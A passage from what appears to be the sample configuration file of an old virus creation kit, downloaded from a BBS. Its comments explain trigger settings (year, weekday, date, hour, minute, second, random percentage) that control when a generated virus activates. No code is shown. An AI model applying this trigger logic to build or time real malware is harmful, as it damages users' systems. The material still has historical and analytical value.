  1863. ; <0..65535><-,+>
  1864. ; Activate during a certain year or years.  Don't be stupid and put a
  1865. ; ridiculous year such as 1-.
  1866. ; IfYear = 1993+      ; Activate after 1993
  1867.  
  1868. ; IfDOW = #
  1869. ; <0..6><-,+>
  1870. ; 0 = Sunday, 1 = Monday, etc.
  1871. ; Activate on, before, or after a particular day of the week.
  1872. ; IfDOW = 0            ; Activate only on Sundays
  1873.  
  1874. ; IfMonthDay = #,#
  1875. ; <#,#><-,+>
  1876. ; Activate on, before, or after a particular day of the year.  This differs
  1877. ; from the combination of IfMonth and IfDay.
  1878. ; IfMonthDay = 5,9+    ; Activate only after May 9th
  1879. ; compare to:
  1880. ; IfMonth = 5+         ; Activate in May through December, but only if the
  1881. ; IfDay   = 9+         ; day is on or after the 8th.  July 1st is NOT an
  1882.                        ; activation date
  1883.  
  1884. ; IfHour = #
  1885. ; <0..23><-,+>
  1886. ; This should be self-explanatory at this point.
  1887. ; IfHour = 12          ; Activate any time from 12 noon -> 1 P.M.
  1888.  
  1889. ; IfMinute = #
  1890. ; <0..59><-,+>
  1891. ; Duh.
  1892. ; IfMinute = 30+
  1893.  
  1894. ; IfSecond = #
  1895. ; <0..59><-,+>  ;; check 0
  1896. ; This is somewhat useless, in my estimation
  1897. ; IfSecond = 30+
  1898.  
  1899. ; Percentage = #
  1900. ; <1..99>
  1901. ; This uses the 1/100 second counter as a random number.  If the counter is
  1902. ; less than the percentage, then the virus will activate.
  1903. ; Percentage = 50      ; Even odds
  1904. --------------------------------- Stop Cutting --------------------------------
  1905.  
  1906.  
  1907. Downloaded From P-80 International Information Systems 304-744-2253
  1908.